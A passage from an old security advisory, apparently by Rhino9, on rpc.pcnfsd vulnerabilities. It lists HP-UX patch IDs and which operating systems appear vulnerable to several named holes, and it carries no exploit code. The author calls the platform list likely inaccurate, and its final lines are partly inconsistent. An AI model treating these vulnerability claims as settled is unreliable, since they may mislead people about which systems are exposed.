For HP-UX 10.20: PHNE_17098
For HP-UX 11.00: PHNE_16470
The following sets of patches will need to be installed to resolve
all the documented patch dependencies. The dependencies will be
satisfied by the patches listed, or any patch that supersedes
them:
s700 10.01: PHNE_17248, PHKL_7059, PHCO_14253;
s800 10.01: PHNE_17248, PHKL_7060, PHCO_14253;
s700 10.10: PHNE_17248, PHKL_8292, PHCO_14254;
s800 10.10: PHNE_17248, PHKL_8293, PHCO_14254;
s700 10.20: PHNE_17098, PHKL_9155, PHKL_16750,
PHCO_13777, PHCO_12922, PHCO_17389,
PHNE_16237, PHKL_16959, PHKL_17012,
PHKL_17253, PHKL_12007;
s800 10.20: PHNE_17098, PHKL_9156, PHKL_16751,
PHCO_13777, PHCO_12922, PHCO_17389,
PHNE_17097, PHKL_16957, PHKL_17013,
PHKL_17254, PHKL_12008;
s700 11.00: PHNE_16470, PHCO_16629, PHKL_15689,
PHCO_14625;
s800 11.00: PHNE_16470, PHCO_16629, PHKL_15689,
PHCO_14625.
SunOS, Solaris, and OSF users should wait for their vendor
to provide a patch.
Rhino9 hasn't done research to the level that one would like
regarding vulnerability in different platforms. This information
is likely to be inaccurate, and welcome to corrections. rpc.pcnfsd
appears to be exist by default on HPUX, Irix, AIX, Digital Unix,
Slackware, OpenBSD, and NetBSD. It also appears to run by
*default* on Irix and some HPUX distributions. pcnfsd is
available as a package under other Linux distros, Solaris, SunOS,
and FreeBSD. All implementations are open to the mapid / auth
vulnerability, which is an inherent risk in running the program.
From experiments, both NetBSD and the latest Solaris versions are
immune to the pr_cancel and get_pr_status vulnerabilities. Also,
they appear to be immune to the remote vulnerability detailed by
the Repsec advisory. Also, the runps630 vulnerability mentioned
in the Repsec advisory does not affect the BSD distributions due
to code fixes made to address the CERT advisory regarding a
similair problem. HP/UX, Irix, AIX, Slackware, OpenBSD, older
Solaris, and SunOS appear to be vulnerable to all of the holes
discovered. get_pr_status - OpenBSD is the only confirmed
vulnerable OS